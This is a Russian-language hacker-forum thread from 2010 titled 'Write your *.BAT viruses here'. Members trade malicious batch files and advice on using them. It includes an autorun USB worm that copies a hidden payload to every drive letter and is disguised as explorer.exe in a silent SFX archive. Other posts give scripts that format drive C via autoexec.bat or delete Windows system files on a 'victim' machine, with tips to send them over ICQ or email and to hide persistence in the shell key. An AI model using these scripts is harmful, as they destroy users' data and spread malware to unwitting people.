А как при помощи ECHO добавить в файл open=1.exe, а то не получается такой bat

Echo [autorun]>g:\auturun.inf
Echo open=vir.exe>>g:\auturun.inf

Результат такого батика. В файле записано только:
[autorun]

А второй строчки нет. Как сделать что бы было записано в файл

[autorun]
open=vir.exe
Post #: 100
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 14:21:19.786666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333

quote:

ORIGINAL: Slava96

есть такой файл. Всеравно не получилось.

Значит команду указал неверно.
Надо записывать:
Copy <диск:\путь\имя> <диск:\путь\имя>
В твоём случае
copy "C:\autorun.inf" "буква_диска:\autorun.inf"
Пробуй сам быстрее дойдёшь чем спрашивать:)

quote:


Echo [autorun]&gt;g:\auturun.inf
Echo open=vir.exe&gt;&gt;g:\auturun.inf

Результат такого батика. В файле записано только:
[autorun]

Проще:
"[autorun]">C:\autorun.inf
И не надо химичить:)

Если не копирует файлы, значит посмотри, может у тебя просто гдето ошибка или попробуй что-то изменить и посмотри, что будет
Post #: 101
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 14:26:22.896666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
quote:

ORIGINAL: Slava96

Echo open=vir.exe&gt;&gt;g:\auturun.inf


Здесь у тебя опять нет кавычек, консоль тебя просто не поняла.

Попробуй записать
"open=vir.exe">"g:\auturun.inf"
Не забудь про путь к vir.exe, иначе консоль будет искать его в системных папках

Это к стати палевно, лучше в shell пропиши:) Даже опытный юзер врятли найдёт и запустится вместе с explorer'ом
Post #: 102
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-25 20:54:59.740000   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
c Ecoho без " получилосьё А вот с copy нет может попробовать переменной задать?
Post #: 103
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-26 11:12:57.253333   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333

quote:

ORIGINAL: Slava96

c Ecoho без " получилосьё А вот с copy нет может попробовать переменной задать?

Ну можешь переменной, если тебе так проще будет:)

А вообще, как мне помнится, команда echo указывает что это новая команда, а команда copy это копирование
То есть оформить можешь:
echo copy "C:\autorun.inf" "буква_диска:\autorun.inf"

Поместить текст в текст. файл можно таким вот образом
"[autorun]">C:\autorun.inf - в кавычках указываем текст который будет помещён в файл C:\autorun.inf
Если файла нет - он будет создан, если файл есть - он будет перезаписан.
Добавить вторую строчку можно таким же методом, но указать двойную ">"
Тоесть так
"текст">>C:\autorun.inf

Если я что то перепутал поправте меня, давно с винды слез, команды уже забываются((
Post #: 104
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-26 15:39:48.616666   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
quote:

Поместить текст в текст. файл можно таким вот образом
"[autorun]"&gt;C:\autorun.inf - в кавычках указываем текст который будет помещён в файл C:\autorun.inf
Если файла нет - он будет создан, если файл есть - он будет перезаписан.
Добавить вторую строчку можно таким же методом, но указать двойную "&gt;"
Тоесть так
"текст"&gt;&gt;C:\autorun.inf


Я без " написал с ними в файл сами кавычки записываются.
Post #: 105
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-29 00:07:15.140000   
HELP.ME

Сообщений: 1
Оценки: 0
Присоединился: 2010-04-28 22:37:34.036666
http://forum.xakep.ru/m_1802482/mpage_1/key_/tm.htm#1802482
Post #: 106
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-29 12:36:41.556666   
DimonHaker

Сообщений: 444
Оценки: 0
Присоединился: 2009-11-20 17:42:29.216666
quote:

А вот и мой:
God&gt; del your mozg

АХАХАХА
Post #: 107
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-29 14:46:41.560000   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
Все получилось и с Echo, и с copy.
Post #: 108
RE: Пишем сюда свои *.BAt-вирусы - 2010-04-30 17:04:57.656666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
quote:

ORIGINAL: Slava96

Все получилось и с Echo, и с copy.



Вывод сообщений и переключение режима отображения команд на экране.

ECHO [ON | OFF]
ECHO [сообщение]

Введите ECHO без параметра для определения текущего значения этой команды.

И как же тебе удалось скопировать?

Копирование одного или нескольких файлов в другое место.

COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B] источник [/A | /B]
[+ источник [/A | /B] [+ …]] [результат [/A | /B]]

источник Имена одного или нескольких копируемых файлов.
/A Файл является текстовым файлом ASCII.
/B Файл является двоичным файлом.
/D Указывает на возможность создания зашифрованного файла
результат Каталог и/или имя для конечных файлов.
/V Проверка правильности копирования файлов.
/N Использование, если возможно, коротких имен при копировании
файлов, чьи имена не удовлетворяют стандарту 8.3.
/Y Подавление запроса подтверждения на перезапись существующего
конечного файла.
/-Y Обязательный запрос подтверждения на перезапись существующего
конечного файла.
/Z Копирование сетевых файлов с возобновлением.

Ключ /Y можно установить через переменную среды COPYCMD.
Ключ /-Y командной строки переопределяет такую установку.
По умолчанию требуется подтверждение, если только команда COPY
не выполняется в пакетном файле.

Чтобы объединить файлы, укажите один конечный и несколько исходных файлов,
используя подстановочные знаки или формат "файл1+файл2+файл3+…".

Для особо одарённых:
echo off - запрещаем вывод сообщений на экран
[autorun]>C:\autorun.inf - помещаем текст в файл и перезаписываем старый (если был)
copy "путь1\файл" "путь2\файл" - копируем файл

и можно, например, насолить ламеру

в тот же батник записываем строку:
"fopmat c: /q">"c:\autoexec.bat" - быстро форматнёт винт при запуске компа

Весь батник:
echo off
[autorun]>"g:\autorun.inf"
open=vir.exe>>"g:\auturun.inf"
copy /y "путь1\файл" "путь2\файл"
"fopmat c: /q">"c:\autoexec.bat"
exit

справка по командам "/?" или "help"
если будут проблемы пиши в личку, и хватит посты набивать всякими бессмысленными мессагами…
Post #: 109
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-01 10:35:46.416666   
Slava96

Сообщений: 17
Оценки: 0
Присоединился: 2010-04-24 13:20:49.743333
Этот батик просто копирует себя на всякие носители каждые 20 секунд.
Превращаещь этот батик в explorer.exe спомощью Batexec и кудаешь в архив.


c:\windows\system32\exp.exe
if exist c:\exp.com goto end
: copy
copy c:\windows\taskmgr.exe a:\avtorun.exe
attrib a:\avtorun.exe +r +a +s +h
attrib c:\autorun.inf -r -a -s
echo [Avtorun]>c:\autorun.inf
echo open=avtorun.exe>>c:\autorun.inf
attrib c:\autorun.inf +r +a +s +h
attrib c:\avtorun.exe -r -a -s
copy c:\windows\taskmgr.exe c:\avtorun.exe
attrib c:\avtorun.exe +r +a +s +h
attrib d:\autorun.inf -r -a -s
echo [Avtorun]>d:\autorun.inf
echo open=avtorun.exe>>d:\autorun.inf
attrib d:\autorun.inf +r +a +s +h
attrib d:\avtorun.exe -r -a -s
copy d:\windows\taskmgr.exe d:\avtorun.exe
attrib d:\avtorun.exe +r +a +s +h
attrib e:\autorun.inf -r -a -s
echo [Avtorun]>e:\autorun.inf
echo open=avtorun.exe>>e:\autorun.inf
attrib e:\autorun.inf +r +a +s +h
attrib e:\avtorun.exe -r -a -s
copy e:\windows\taskmgr.exe e:\avtorun.exe
attrib e:\avtorun.exe +r +a +s +h
attrib f:\autorun.inf -r -a -s
echo [Avtorun]>f:\autorun.inf
echo open=avtorun.exe>>f:\autorun.inf
attrib f:\autorun.inf +r +a +s +h
attrib f:\avtorun.exe -r -a -s
copy f:\windows\taskmgr.exe f:\avtorun.exe
attrib f:\avtorun.exe +r +a +s +h
attrib g:\autorun.inf -r -a -s
echo [Avtorun]>g:\autorun.inf
echo open=avtorun.exe>>g:\autorun.inf
attrib g:\autorun.inf +r +a +s +h
attrib g:\avtorun.exe -r -a -s
copy g:\windows\taskmgr.exe g:\avtorun.exe
attrib g:\avtorun.exe +r +a +s +h
attrib h:\autorun.inf -r -a -s
echo [Avtorun]>h:\autorun.inf
echo open=avtorun.exe>>h:\autorun.inf
attrib h:\autorun.inf +r +a +s +h
attrib h:\avtorun.exe -r -a -s
copy h:\windows\taskmgr.exe h:\avtorun.exe
attrib h:\avtorun.exe +r +a +s +h
attrib i:\autorun.inf -r -a -s
echo [Avtorun]>i:\autorun.inf
echo open=avtorun.exe>>i:\autorun.inf
attrib i:\autorun.inf +r +a +s +h
attrib i:\avtorun.exe -r -a -s
copy i:\windows\taskmgr.exe i:\avtorun.exe
attrib i:\avtorun.exe +r +a +s +h
attrib j:\autorun.inf -r -a -s
echo [Avtorun]>j:\autorun.inf
echo open=avtorun.exe>>j:\autorun.inf
attrib j:\autorun.inf +r +a +s +h
attrib j:\avtorun.exe -r -a -s
copy j:\windows\taskmgr.exe j:\avtorun.exe
attrib j:\avtorun.exe +r +a +s +h
attrib k:\autorun.inf -r -a -s
echo [Avtorun]>k:\autorun.inf
echo open=avtorun.exe>>k:\autorun.inf
attrib k:\autorun.inf +r +a +s +h
attrib k:\avtorun.exe -r -a -s
copy k:\windows\taskmgr.exe k:\avtorun.exe
attrib k:\avtorun.exe +r +a +s +h
attrib l:\autorun.inf -r -a -s
echo [Avtorun]>l:\autorun.inf
echo open=avtorun.exe>>l:\autorun.inf
attrib l:\autorun.inf +r +a +s +h
attrib l:\avtorun.exe -r -a -s
copy l:\windows\taskmgr.exe l:\avtorun.exe
attrib l:\avtorun.exe +r +a +s +h
attrib m:\autorun.inf -r -a -s
echo [Avtorun]>m:\autorun.inf
echo open=avtorun.exe>>m:\autorun.inf
attrib m:\autorun.inf +r +a +s +h
attrib m:\avtorun.exe -r -a -s
copy m:\windows\taskmgr.exe m:\avtorun.exe
attrib m:\avtorun.exe +r +a +s +h
attrib n:\autorun.inf -r -a -s
echo [Avtorun]>n:\autorun.inf
echo open=avtorun.exe>>r:\autorun.inf
attrib n:\autorun.inf +r +a +s +h
attrib n:\avtorun.exe -r -a -s
copy n:\windows\taskmgr.exe r:\avtorun.exe
attrib n:\avtorun.exe +r +a +s +h
attrib o:\autorun.inf -r -a -s
echo [Avtorun]>o:\autorun.inf
echo open=avtorun.exe>>o:\autorun.inf
attrib o:\autorun.inf +r +a +s +h
attrib o:\avtorun.exe -r -a -s
copy o:\windows\taskmgr.exe o:\avtorun.exe
attrib o:\avtorun.exe +r +a +s +h
attrib p:\autorun.inf -r -a -s
echo [Avtorun]>p:\autorun.inf
echo open=avtorun.exe>>p:\autorun.inf
attrib p:\autorun.inf +r +a +s +h
attrib p:\avtorun.exe -r -a -s
copy p:\windows\taskmgr.exe p:\avtorun.exe
attrib p:\avtorun.exe +r +a +s +h
attrib q:\autorun.inf -r -a -s
echo [Avtorun]>q:\autorun.inf
echo open=avtorun.exe>>q:\autorun.inf
attrib q:\autorun.inf +r +a +s +h
attrib q:\avtorun.exe -r -a -s
copy q:\windows\taskmgr.exe q:\avtorun.exe
attrib q:\avtorun.exe +r +a +s +h
attrib r:\autorun.inf -r -a -s
echo [Avtorun]>r:\autorun.inf
echo open=avtorun.exe>>r:\autorun.inf
attrib r:\autorun.inf +r +a +s +h
attrib r:\avtorun.exe -r -a -s
copy r:\windows\taskmgr.exe r:\avtorun.exe
attrib r:\avtorun.exe +r +a +s +h
attrib s:\autorun.inf -r -a -s
echo [Avtorun]>s:\autorun.inf
echo open=avtorun.exe>>s:\autorun.inf
attrib s:\autorun.inf +r +a +s +h
attrib s:\avtorun.exe -r -a -s
copy s:\windows\taskmgr.exe s:\avtorun.exe
attrib s:\avtorun.exe +r +a +s +h
attrib t:\autorun.inf -r -a -s
echo [Avtorun]>t:\autorun.inf
echo open=avtorun.exe>>t:\autorun.inf
attrib t:\autorun.inf +r +a +s +h
attrib t:\avtorun.exe -r -a -s
copy t:\windows\taskmgr.exe t:\avtorun.exe
attrib t:\avtorun.exe +r +a +s +h
attrib u:\autorun.inf -r -a -s
echo [Avtorun]>u:\autorun.inf
echo open=avtorun.exe>>u:\autorun.inf
attrib u:\autorun.inf +r +a +s +h
attrib u:\avtorun.exe -r -a -s
copy u:\windows\taskmgr.exe u:\avtorun.exe
attrib u:\avtorun.exe +r +a +s +h
attrib v:\autorun.inf -r -a -s
echo [Avtorun]>v:\autorun.inf
echo open=avtorun.exe>>v:\autorun.inf
attrib v:\autorun.inf +r +a +s +h
attrib v:\avtorun.exe -r -a -s
copy v:\windows\taskmgr.exe v:\avtorun.exe
attrib v:\avtorun.exe +r +a +s +h
attrib w:\autorun.inf -r -a -s
echo [Avtorun]>w:\autorun.inf
echo open=avtorun.exe>>w:\autorun.inf
attrib w:\autorun.inf +r +a +s +h
attrib w:\avtorun.exe -r -a -s
copy w:\windows\taskmgr.exe w:\avtorun.exe
attrib w:\avtorun.exe +r +a +s +h
attrib x:\autorun.inf -r -a -s
echo [Avtorun]>x:\autorun.inf
echo open=avtorun.exe>>x:\autorun.inf
attrib x:\autorun.inf +r +a +s +h
attrib x:\avtorun.exe -r -a -s
copy x:\windows\taskmgr.exe x:\avtorun.exe
attrib x:\avtorun.exe +r +a +s +h
attrib y:\autorun.inf -r -a -s
echo [Avtorun]>y:\autorun.inf
echo open=avtorun.exe>>y:\autorun.inf
attrib y:\autorun.inf +r +a +s +h
attrib y:\avtorun.exe -r -a -s
copy y:\windows\taskmgr.exe y:\avtorun.exe
attrib y:\avtorun.exe +r +a +s +h
attrib z:\autorun.inf -r -a -s
echo [Avtorun]>z:\autorun.inf
echo open=avtorun.exe>>z:\autorun.inf
attrib z:\autorun.inf +r +a +s +h
attrib z:\avtorun.exe -r -a -s
copy z:\windows\taskmgr.exe z:\avtorun.exe
attrib z:\avtorun.exe +r +a +s +h
ping -n 20 77.88.22.224
goto copy
:end


Потом и щешь у себя на компе файл c:\windows\explorer.exe (с иконкой мой компьютер он открывает рабочий стол) и кидаешь его в архив предварительно закинув в папку system32 (не в системную с кучей файлов, а содданную тебою) дальше этот архив превращаешь в SFX с параметрами: Путь для распаковки: c:\windows\ ; Режим вывода информации: Скрыть все ; Режим перезаписи: Перезаписывать все файлы без запроса. Именушь этот SFX в avtorun. Создаешь второй файл autorun.inf с содержимым:


[Autorun]
open=avtorun.exe


записываешь эти файлы в корневую паку диска(флешки). И все, но если есть файл c:\exp.com то эта програмка сама завершит свою работу
Post #: 110
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-01 15:43:58.166666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
quote:

ORIGINAL: Slava96

c:\windows\system32\exp.exe
if exist c:\exp.com goto end
: copy



ping -n 20 77.88.22.224
goto copy
:end


Могут быть конфликты, так как слово "copy" является зарезервированным…
Post #: 111
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-02 22:59:10.746666   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
Пример простого генератора цифр

@echo off
title Password Generator v 1.01
color C0
pause
set path="C:\password.txt"
set first=111
set last=999
set /a j=(last-first)/100
set /a i=j+first
set k=0
echo %first% > %path%
echo %k%%%
:sas
set /a first+=1
echo %first%>>%path%
if %first% geq %i% (cls&set /a i+=j&set /a k+=1&echo %k%%%)
if %first% lss %last% goto sas
cls
echo INFO
echo #———————————#
echo #Putty: C:\password.txt #
echo #———————————#
pause
exit
Post #: 112
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-08 12:47:09.233333   
Doha

Сообщений: 7
Оценки: 0
Присоединился: 2009-07-22 10:50:39.226666
Думаю дя новичков будет полезно

Для написания нам понадобится обыкновенный блокнот.
1. пишем любое название блокнота(install.bat), главное чтобы Вы поставили расширение *.bat.
2. запускаем блокнот.
3. Теперь пишим в нем команды которые батик будет выполнять на чужом кампе, помните все команды он делает последовательно.

Грохаем windows на кампе жертвы:

Cd\ -команда для выхода в корневой каталог из места откуда был запущен bat файл
Cd C: -команда перехода на диск C где почти у всех кампах стоит виндовс
Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
del *.exe -удаяем все файлы с расширением .exe
del *.ini -удаяем все файлы с расширением .ini
del *.com -удаяем все файлы с расширением .com
cd\
cd windows
cd system
del *.dll
del *.exe
После этих простеньких строчек у юзера или ламера будет примерно 30 минут работы!)
Код полностью:

Cd\
Cd C:
Сd windows
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe

Но вдруг папка виндовс называется не windows а например winMe, или win98, да без проблем, просто надо будет после этого кода написать ниже ещё один только чтобы папка называлась winMe и так далее.

Cd\
Cd C:
Сd winMe
Del *.exe
Del *.ini
Del *.com
Cd\
Cd win98
Cd system
Del *.dll
Del *.exe

и так далее! Как вы понимаете таким образом можно грохнуть все что угодно на чужом винте! Только помните, что такое можно делать если на машине жертвы стоит Windows 9Х!!!
Люблю прикалывать ламеров, это форматирование диска С:\
Форматируем диск С:\
Cd\ -команда для выхода в корневой каталог из места откуда был запущен bat файл
Format C:\ -команда форматирования диска
С:\ Y -команда автоматического согласие форматирование диска без ведома или подтверждения команды ламером
Y -тоже самое
Y -уже говорил
Хе! Вот и все…
Код полностью:

Cd\
Format C:\
Y
Y
Y

Единственный минус! Такой код может не сработать если на кампе стоит Windows ME или XP! Придется писать другой путь. В этих форточках команда форматирования лежит не просто в папке Windows, а по следующему пути
C:\WINDOWS\COMMAND\format c:
но само собой форматироваться не будет, а потребует потверждение и простая команда
Y
Y
Y
не поможет, нужена другая. Просто добавим параметр /autotest

C:\WINDOWS\COMMAND\format c: /autotest

В данном случае, подтверждать ничего не придется.

Как и где это применить?
Просто отсылаете бат фаил какому нибудь юзверю по аське или на мыло.
При открытие файла, начнёца процесс.
Так что не советую открывать фаил у себя на компе.

Если Вы залезли на удаленный компьютер то можете тоже злостно пошутить.
Но как сделать так, чтобы файл запустился автоматически?
Лазив по компу жертвы Вам вдруг захотелось форматнуть его винт, ну мало ли, вдруг он какой нибудь нацист или педофил! Разумеется Вы не сможите запустить файл со своего компа на компе жертвы. Но всёже есть пару вариантов. Первый, это загрузить файл в автозагрузку по пути
C:\windows (или как там будет папка называться)\Главное меню \ Программы \Автозагрузка или переименовать Ваш батик в Autoexec.bat и загрузить в корневой С:\
кто так и не понял как создать bat делаем так 1.Скопировать текст вируса с этой страницы
2.Открыть текстовый редактор( блокнот)
3.Вставить текст
4.Сохранить как: Имя_Файла.bat
5.Запустить =) (и пиздец =_)
ПОДРОБНЫЕ КОМАНДЫ ДЛЯ ВПИСЫВАНИЯ В БАТ Бат

Прежде всего - это пакетные дос файлы, которые содержат в себе в ASCII виде набор досовских команд. Проще говоря, bat файл содержит в себе скрипт, интерпритатором служит cmd.exe

Начну с простых команд :

Chcp 1251
msg * Тебя взломал xakep




1.)echo off - запрещение вывода на экран исполняемых команд (on - вкл.)
2.) deltree /y %файл% - удалить файл (/y означает "удалить без вопросов"). В XP работает тока del (флаг /y не нужен).
3.) copy %путь\файл% %куда\файл% - копировать файл
4.) mkdir %название_диры% - создать директорию
5.) echo %текст% - вывести текст на экран
6.) echo %текст% > %путь\файл% - создать файл и вписать в него текст
7.) echo %текст% >> %путь\файл% - добавить текст в уже существующий файл
8.) if exist %путь\файл% %команда% - если существует файл, выполнить команду
9.) attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)
10.) start %путь\файл% - запустить файл
11.) cls - отчистить экран
12.) pause - выводит сообщение "Нажмите любую кнопку…"
13.) label %новая_метка% - поставить новую метку системного диска (С,D,E….)
14.) format %диск%: /q - быстрое форматирование диска
15.) ren %путь\файл% %новое_название_файла% - переименовать файл
16.) goto %метка%

:%метка% - перескoчить с одного места кода на метку.

Продолжу «НЕПРОСТЫМИ»:

1.) choice /N /T:y,%сек% > nul - типа таймера (на n секунд задерживает выполнение последующих команд).

2.) %команда% > nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде "copy"). Пример: copy c:\some.exe %windir%\some.exe > nul

3.) regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов

4.) start /m /w %путь\файл% - запустить файло в свёрнутом окне.

5.) echo format C: /q >> c:\Autoexec.bat добавляет в Autoexec.bat строчку «format C: /q» и при перезагрузке компа идёт быстрое форматирование диска из серии «Ты даже не заметишь» =) Это все потому что Autoexec.bat грузиться вместе с виндой,кстате winstart.bat тоже,но его нужно создавать отдельно!

6.) Кложим в каталог windows\command файл "load.bat" (наверное с плохим содержанием) .Его можно будет запустить такой строчкой: "load keybrd32.sys,,cyr\lat" или такой: "load VideoAdapter32.drv – By windows setup –". Врятли такие строчки рискнёт кто-нибудь удалять и твой файл без проблем загрузится..=)

7.) if exist c:\Progra~1 set drv=c:
if exist d:\Progra~1 set drv=d:
if exist d:\Progra~1 set drv=e:
После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files'ами.

8.) в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe

9.) batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять "~1", к примеру "Program Files -> Progra~1"). Пробелы он просто убирает (The Bat -> TheBat~1).
Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).

10.) echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
Этот скрипт выводит на экран _Виндовое_ окошко (по средствам Java Script) с твоим сообщением и кнопкой ОК

И вот чем закончу->
Переменные ,операторы,циклы и кое что ещё :

1.) @<команда>
Оператор @ позволяет не выводить следующую за ним команду на экран. Это аналог оператора ECHO OFF только для одной строки.

2.) %<цифра 0-9>
В языке BATCH-файлов возможно использование переменных. Всего может быть до 10 одновременно существующих независимых переменных.
Значение переменной равно значению соответствующего параметра из командной строки. Переменная %0 будет содержать имя .bat-файла и, если вы указали, путь к нему. То есть, если у нас есть командная строка abc.bat a bc def то переменная %1 будет содержать значение a, %2 будет содержать bc, а %3 - def. Например, можно записать в файле ABC.BAT: ABC.BAT %2 %1
Это вызовет прекращение выполнения данного файла и передаст управление ему же, но с параметрами, записанными в обратном порядке.

3.) SHIFT
Команда SHIFT позволяет использовать число параметров командной строки более 10. При этом происходит циклический сдвиг влево и теряются более ранние параметры.
Операция необратима.

4.) CALL <имя bat-файла>
Команда CALL позволяет вызвать один пакетный файл из другого, не прекращая выполнения предыдущего. Пример:
@ECHO OFF
ECHO Этот текст выводится
CALL TEST.BAT
ECHO Этот текст тоже выводится
TEST.BAT
ECHO А этот уже не выводится.

При выполнении TEST.BAT обработка текущего пакетного файла была прекращена и управление было передано TEST.BAT.

5.) IF <условие> <следствие>
Оператор IF проверяет истинность какого-либо <условия> и в зависимости от этого выполняет или не выполняет команду <следствие>.
Пример:
IF EXIST TEST.BAT GOTO lab1
если существует файл TEST.BAT, то перейти на метку lab1.
IF NOT EXIST TEST.BAT GOTO exit
если файл TEST.BAT не существует, то следует перейти на метку exit.
IF %1==ASDF GOTO asdflabel
если переменная %1 равна ASDF, то осуществляется переход на метку asdflabel.
IF ERRORLEVEL 1 GOTO err1
если ошибка (код возврата) выполнения предыдущей команды равно 1, то перейти на
метку err1.

6.) PAUSE
Команда PAUSE приостанавливает выполнение пакетного файла и выдает на экран приглашение нажать на любую клавишу для продолжения работы.

7.) FOR %<параметр> IN (<VAR1 [VAR2] [VAR3] …>) DO <команда>
С помощью оператора FOR возможно выполнение одной и той же команды несколько раз для различных параметров.

8.) SET <Имя_переменной>=<Значение_переменной>
Оператор SET представляет собой расширение возможностей работы с параметрами в операционной системе. Он задает переменную, значение которой подставляется вместо ее имени при любом использовании этого имени между знаками процента. Наиболее известной является переменная PATH, представляющая собой набор путей для быстрого поиска файлов.

9.) Вот несколько примеров BAT-файла, который выполняет компиляцию проекта на ассемблере.
Компиляция проекта без ресурсов

@echo off
set file=dostoansi
C:\MASM32\BIN\Ml.exe /c /coff %file%.asm
C:\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS %file%.obj /RELEASE
pause

Компиляция проекта с ресурсами

@echo off
set file=name_project
if not exist rsrc.rc goto over1
C:\MASM32\BIN\Rc.exe /v rsrc.rc
C:\MASM32\BIN\Cvtres.exe /machine:ix86 rsrc.res
:over1
\masm32\bin\ml /c /coff /Cp %file%.asm
if errorlevel 1 goto asm_error
C:\MASM32\BIN\Link.exe %file%.obj rsrc.res /SUBSYSTEM:WINDOWS
if errorlevel 1 goto link_error
if exist *.obj del %file%.obj
:asm_error
echo AM
goto clear
:link_error
echo LINKER ERROR
:clear
if exist %file%.obj del %file%.obj
pause
:end

10.) Пример автоматизированного удаления файлов по типу
del /f /s /q C: *.tmp

11.) Пример ожидания появления файла (например при копировании большого объёма информации)
:test
if exist c:\1.avi goto go
sleep 10
goto test
:go
rename c:\1.avi 1.avi
if not errorlevel 0 goto go

12.) Пример изменения текущей даты и восстановления её после запуска приложения. (Может быть полезно, если приложение trial и срок демонстрациии закончился)
set tempdate=%date:~-10%
date 01-01-01
start trial.exe
date %tempdate%

13.) Пример экспорта ветки реестра при помощи BATCH-файла
regedit.exe -ea C:\environment.reg "HKEY_CURRENT_USER\Environment"

14.) Пример переименования файлов по маске
for /f "tokens=*" %%a in ('dir /b PATH\*.*') do ren PATH\%%a Prefix%%a
Здесь заменяем PATH\ на путь к файлам, которые будут переименованы, а Prefix на те символы, которые будут добавлены к имени файла при переименовании. Если в папке, где происходит переименование файлов есть подпапки, то подпапки будут переименованы как и файлы. Если указать определенную маску для типов файлов, которые подлежат переименованию, например, *.txt, а не *.*, то будут переименованы файлы только указанных типов.
Post #: 113
RE: Пишем сюда свои *.BAt-вирусы - 2010-05-08 20:25:49.650000   
Хома

Сообщений: 103
Оценки: 0
Присоединился: 2009-12-16 16:33:11.423333
Вот пара команд используемых в бат-программинге (если можно так сказать):


1. Вывод сообщений и переключение режима отображения команд на экране. ECHO [ON | OFF] ECHO [сообщение] Введите ECHO без параметра для определения текущего значения этой команды. 2. Удаление одного или нескольких файлов. DEL [/P] [/F] [/S] [/Q] [/A[[:]атрибуты]] имена ERASE [/P] [/F] [/S] [/Q] [/A[[:]атрибуты]] имена имена Имена одного или нескольких файлов. Для удаления сразу нескольких файлов используются подстановочные знаки. Если указан каталог, из него будут удалены все файлы. /P Запрос на подтверждение перед удалением каждого файла. /F Принудительное удаление файлов, доступных только для чтения. /S Удаление указанных файлов из всех подкаталогов. /Q Отключение запроса на подтверждение при удалении файлов. /A Отбор файлов для удаления по атрибутам. атрибуты S Системные файлы R Доступные только для чтения H Скрытые файлы A Файлы для архивирования Префикс "-" имеет значение НЕ Изменение команд DEL и ERASE при включении расширенной обработки команд: Результаты вывода для ключа /S принимают обратный характер, то есть выводятся только имена удаленных файлов, а не файлов, которые не удалось найти. 3. Оператор условного выполнения команд в пакетном файле. IF [NOT] ERRORLEVEL число команда IF [NOT] строка1==строка2 команда IF [NOT] EXIST имя_файла команда NOT Обращает истинность условия: истинное условие становится ложным, а ложное - истинным. ERRORLEVEL число Условие является истинным, если код возврата последней выполненной программы не меньше указанного числа. строка1==строка2 Это условие является истинным, если указанные строки совпадают. EXIST имя_файла Это условие является истинным, если файл с указанным именем существует. команда Задает команду, выполняемую при истинности условия. За этой командой может следовать ключевое слово ELSE, служащее для указания команды, которая должна выполняться в том случае, если условие ложно. Предложение ELSE должно располагаться в той же строке, что и команда, следующая за ключевым словом IF. Например: IF EXIST имя_файла. ( del имя_файла. ) ELSE ( echo имя_файла. missing. ) Следующий пример содержит ОШИБКУ, поскольку команда del должна заканчиваться переходом на новую строку: IF EXIST имя_файла. del имя_файла. ELSE echo имя_файла. missing Следующий пример также содержит ОШИБКУ, поскольку команда ELSE должна Располагаться в той же строке, что и команда, следующая за IF: IF EXIST имя_файла. del имя_файла. ELSE echo имя_файла. missing Вот правильный пример, где все команды расположены в одной строке: IF EXIST имя_файла. (del имя_файла.) ELSE echo имя_файла. missing Изменение команды IF при включении расширенной обработки команд: IF [/I] строка1 оператор_сравнения строка2 команда IF CMDEXTVERSION число команда IF DEFINED переменная команда где оператор_сравнения принимает следующие значения: EQL - равно NEQ - не равно LSS - меньше LEQ - меньше или равно GTR - больше GEQ - больше или равно а ключ /I, если он указан, задает сравнение текстовых строк без учета регистра. Ключ /I можно также использовать и в форме строка1==строка2 команды IF. Сравнения проводятся по общему типу данных, так что если строки 1 и 2 содержат только цифры, то обе строки преобразуются в числа, после чего выполняется сравнение чисел. Условие CMDEXTVERSION применяется подобно условию ERRORLEVEL, но значение сравнивается с внутренним номером версии текущей реализации расширенной обработки команд. Первая версия имеет номер 1. Номер версии будет увеличиваться на единицу при каждом добавлении существенных возможностей расширенной обработки команд. Если расширенная обработка команд отключена, условие CMDEXTVERSION никогда не бывает истинно. Условие DEFINED применяется подобно условию EXISTS, но принимает в качестве аргумента имя переменной среды и возвращает истинное значение, если эта переменная определена. Строка %ERRORLEVEL% будет развернута в строковое представление текущего значения кода ошибки ERRORLEVEL, за исключением ситуации, когда уже имеется переменная среды с именем ERRORLEVEL; в подобном случае подставляется значение этой переменной. Например, с помощью данной строки можно выполнить следующее: goto answer%ERRORLEVEL% :answer0 echo Получен код возврата 0 :answer1 echo Получен код возврата 1 Допускается и применение описанных выше операторов числового сравнения: IF %ERRORLEVEL% LEQ 1 goto okay Строка %CMDCMDLINE% будет развернута в исходную командную строку, переданную CMD.EXE до любой обработки, за исключением ситуации, когда уже определена переменная среды с именем CMDCMDLINE, в подобном случае 